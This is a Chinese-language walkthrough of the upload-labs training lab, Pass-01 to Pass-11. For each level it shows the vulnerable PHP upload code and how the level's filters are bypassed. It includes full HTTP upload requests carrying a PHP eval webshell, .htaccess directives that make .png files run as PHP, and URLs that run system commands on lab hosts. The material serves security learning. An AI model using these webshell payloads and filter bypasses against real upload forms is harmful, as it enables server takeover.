靶場搭建
Windows
下載作者提供的PHPStudy整合版,避免bug
https://github.com/c0ny1/upload-labs/releases
Linux
有一些關卡在用Linux的靶場
docker run -d -p 80:80 cuer/upload-labs
Pass-01
原始碼審計
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的檔案!");
return false;
}
//定義允許上傳的檔案型別
var allow_ext = ".jpg|.png|.gif";
//提取上傳檔案的型別
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳檔案型別是否允許上傳
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "型別的檔案,當前檔案型別為:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
只有在js程式碼中進行校驗,提交到後端的PHP程式碼處理沒有任何的過濾(前端校驗等於沒有校驗)
攻擊
前端js驗證
- 直接上傳圖片透過前端,抓包,修改後直接傳送請求包
POST http://192.168.1.17/Pass-01/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------225474232222570505221243396719
Content-Length: 378
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-01/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------225474232222570505221243396719
Content-Disposition: form-data; name="submit"
上傳
-----------------------------225474232222570505221243396719--
- 修改前端,禁用checkfile()函式,即可上傳成功
瀏覽器訪問http://192.168.1.17/upload/1.php?shell=system('whoami');
執行命令返回
知識點
前端驗證都是紙老虎
Pass-02
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '檔案型別不正確,請重新上傳!';
}
} else {
$msg = UPLOAD_PATH.'資料夾不存在,請手工建立!';
}
}
原始碼審計,透過檢測報文傳送資料中的Content-Type 的值來對檔案的型別進行過濾,只需要傳送報文的時候將Content-Type值改為image/png,實際仍是.php,即可繞過,形同虛設
攻擊
POST http://192.168.1.17/Pass-02/index.php HTTP/1.1
Host: 192.168.1.17
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------42773365403714671171577664389
Content-Length: 375
Origin: http://192.168.1.17
Connection: keep-alive
Referer: http://192.168.1.17/Pass-02/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png
<?php @eval($_REQUEST['shell']);?>
-----------------------------42773365403714671171577664389
Content-Disposition: form-data; name="submit"
上傳
-----------------------------42773365403714671171577664389--
服務端對Content-Type進行欄位驗證
瀏覽器訪問http://192.168.1.17/upload/1.php?shell=system('whoami');
執行命令返回
知識點
服務端對Content-Type欄位的驗證,修改欄位上傳繞過
Pass-03
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '不允許上傳.asp,.aspx,.php,.jsp字尾檔案!';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
審計原始碼,發現其只過濾了 '.asp','.aspx','.php','.jsp'
這些檔案字尾,構造其他字尾的檔案如.phtml、.php5即可
攻擊
透過上傳.php5、.phtml等其他字尾繞過限制
ps:用Github靶場的Release環境,就可以解析了,自己配太折騰了
知識點
多字尾解析php檔案可上傳繞過
Pass-04
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
相比於Pass-03,增加了許多黑名單,但是忘記過濾了.htaccess
,伺服器是Apache可以這樣利用
攻擊
1、先上傳.htaccess
字尾檔案改變Apache 伺服器的配置,將所有的.png檔案都已php來解析
AddType application/x-httpd-php .png
或者
<FilesMatch "檔名">
SetHandler application/x-httpd-php
</FilesMatch>
選擇方式一
2、上傳後,將1.php改為1.png進行上傳,成功解析
驗證:訪問如下url http://192.168.1.17/upload/1.png?shell=system("id");
知識點
Apache伺服器中,可以透過上傳.htaccess
檔案來改變伺服器的解析邏輯,需要上傳有覆蓋的功能
Pass-05
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案型別不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
相比之前的pass,去除了將輸入轉換為小寫的步驟,因此可以上傳.PhP
型別的字尾Bypass
攻擊
上傳木馬,檔名為1.PhP
即可Bypass
訪問http://192.168.1.17/upload/202410150453201605.PhP?shell=system("id");
有回顯
知識點
檔案字尾大小寫繞過
Pass-06
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案不允許上傳';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
相比之前的pass 缺少了 trim() 函式過濾空格,抓包攔截帶空格的字尾,後端識別的字尾名就是php
,實現Bypass
攻擊
透過抓包,往檔案字尾新增空格,即可繞過
ps:我訪問該URL:http://192.168.1.17/upload/202410150458401586.php%20?shell=system("id");
沒回顯,中間空格去掉直接404 not found
查閱資料,windows特性,會自動去掉字尾名中最後的空格
對於靶場最好還是Windows搭建,除了一些需要Linux關卡
打到這裡我趕緊下載官方環境,再次進行測試,訪問該url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
回顯成功
知識點
windows特性,會自動去掉字尾名中最後的空格
Pass-07
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
$file_ext = trim($file_ext); //首尾去空
相比於之前的pass,缺少了deldot()函式,刪除檔案末尾的.
利用Windows,1.php.
會自動重新命名為1.php
的特性
抓包,修改檔名,實現ByPass
攻擊
POST 攜帶的資料如下
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="upload_file"; filename="1.php."
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------1148941150563825243932695907
Content-Disposition: form-data; name="submit"
上傳
-----------------------------1148941150563825243932695907--
訪問該url:http://192.168.169.173/upload/202410151536208401.php?shell=system("whoami");
有回顯
知識點
利用Windows,1.php.
會自動重新命名為1.php
的特性
Pass-08
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = trim($file_ext); //首尾去空
相比於之前的pass,刪除了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
對字串::$DATA
並沒有進行過濾
透過上傳字尾.php::$data
進行Bypass,1.php:$DATA
檔名與1.php
一致
攻擊
抓包,修改檔名,報文(POST 資料)如下
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="upload_file"; filename="1.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------281663601630465474662581018521
Content-Disposition: form-data; name="submit"
上傳
-----------------------------281663601630465474662581018521--
訪問http://192.168.169.173/upload/202410151759495090.php?shell=system("whoami");
有回顯
開啟圖片的時候把末尾的::$DATA
刪除就行
知識點
1.php:$DATA
檔名與1.php
一致
關於::$DA他的解釋(GPT
在 Windows 中,使用 1.php::$DATA
來建立檔案時,會有以下效果:
- 主資料流:
1.php
是這個檔案的主資料流,包含檔案的正常內容。比如如果你在這個檔案裡寫入 PHP 程式碼或其他文字,它就會儲存在主資料流中。 ::$DATA
的含義:在1.php::$DATA
中,::$DATA
實際上是對主資料流的引用。也就是說,它引用的就是1.php
檔案的預設資料流。它沒有建立一個新的、獨立的資料流,而是直接引用了1.php
自己的內容。- 不建立額外資料流:如果你嘗試直接使用
1.php::$DATA
這樣的檔名去建立檔案,系統只會把它當作對1.php
主資料流的引用,而不會在檔案系統中建立一個新的資料流。因此,沒有實際效果上的變化,它和直接訪問1.php
沒有區別。
總結:
- 不會建立新的檔案:
1.php::$DATA
實際上是引用1.php
檔案的內容。 - 沒有附加資料流:它沒有建立或使用附加資料流,而是直接指向
1.php
自身的預設內容。 - 等同於訪問
1.php
:當你嘗試讀取1.php::$DATA
,其效果和直接讀取1.php
是一樣的。
換句話說,::$DATA
並不是用於建立新的流,而是表明當前正在訪問檔案的主資料流。
Pass-09
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除檔名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = '此檔案型別不允許上傳!';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
首先看下$file_name = deldot($filename)
這行程式碼, 它的作用是將上傳檔案最末尾的"."去除掉了, 我們可以利用它這個機制來繞過字尾限制, 例如上傳一個檔名為webshell.php. .
, 經過deldot函式的處理後檔名為webshell.php.
然後再看下strrchr
函式, 該函式的作用是返回的字串從指定字元的位置開始,包含指定字元。因此,$file_ext
變數中儲存的是檔案的副檔名, 也就是說最終$file_ext
的值為.
$deny_ext
是一個存有黑名單字尾的陣列, 後面程式碼判斷$file_ext
是否是黑名單字尾, 由於$file_ext
的值為.
, 並不屬於限制字尾, 因此能夠上傳成功
攻擊
利用 trim()、deldot() 等只刪除了一次,並沒有迴圈巢狀刪除的漏洞
上傳檔案時抓包,將檔名改為1.php. .
即可,POST資料段報文如下
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
Content-Type: application/octet-stream
<?php @eval($_REQUEST['shell']);?>
-----------------------------374897871012500191664085237289
Content-Disposition: form-data; name="submit"
上傳
-----------------------------374897871012500191664085237289--
訪問 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回顯
ps:直接用靶場Release倉庫的環境就行,省事
知識點
利用Windows寫入檔案時,1.php.
會直接省略末尾的空字尾.
實現繞過
Pass-10
原始碼審計
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else {
$msg = UPLOAD_PATH . '資料夾不存在,請手工建立!';
}
}
trim
去除兩端空格
str_ireplace
把$file_name
中的$deny_ext
替換成""
由於沒有迴圈過濾,可以雙寫字尾名繞過
攻擊
上傳1.pphphp即可繞過
訪問 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回顯
知識點
未迴圈過濾,雙寫字尾繞過
Pass-11
原始碼審計
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif型別檔案!";
}
}
簡述程式碼邏輯
- 定義一個陣列,裡面有一些常見圖片的字尾名
- 提取檔名的最後一個
.
的後面的內容 - 判斷字尾是否是合法檔名裡面的
- 如果合法,Get請求獲取save_path,拼接寫入
從上述分析可知,透過GET請求來獲取save_path
引數的值, 也就是說這個值是可控的, 若我們將這個值修改成../upload/1.php%00
, 也就是在檔名後面新增截斷符號%00
,這樣做的作用是將截斷資料, Windows建立檔案時會忽略後面rand(10, 99).date("YmdHis").".".$file_ext
這行程式碼, 這樣寫入的檔名就變成了../upload/1.php
%00
是 URL 編碼中的一個字元,它表示一個空字元(NULL 字元)
攻擊
上傳1.png檔案,抓包攔截,修改Get請求save_path引數傳遞的值為../upload/1.php%00
訪問 http://192.168.190.173/upload/1.php?shell=system("whoami");
有回顯
知識點
Windows系統%00
檔名截斷
Pass-12
··· 待更新
參考連結
全面瞭解檔案上傳漏洞, 通關upload-labs靶場!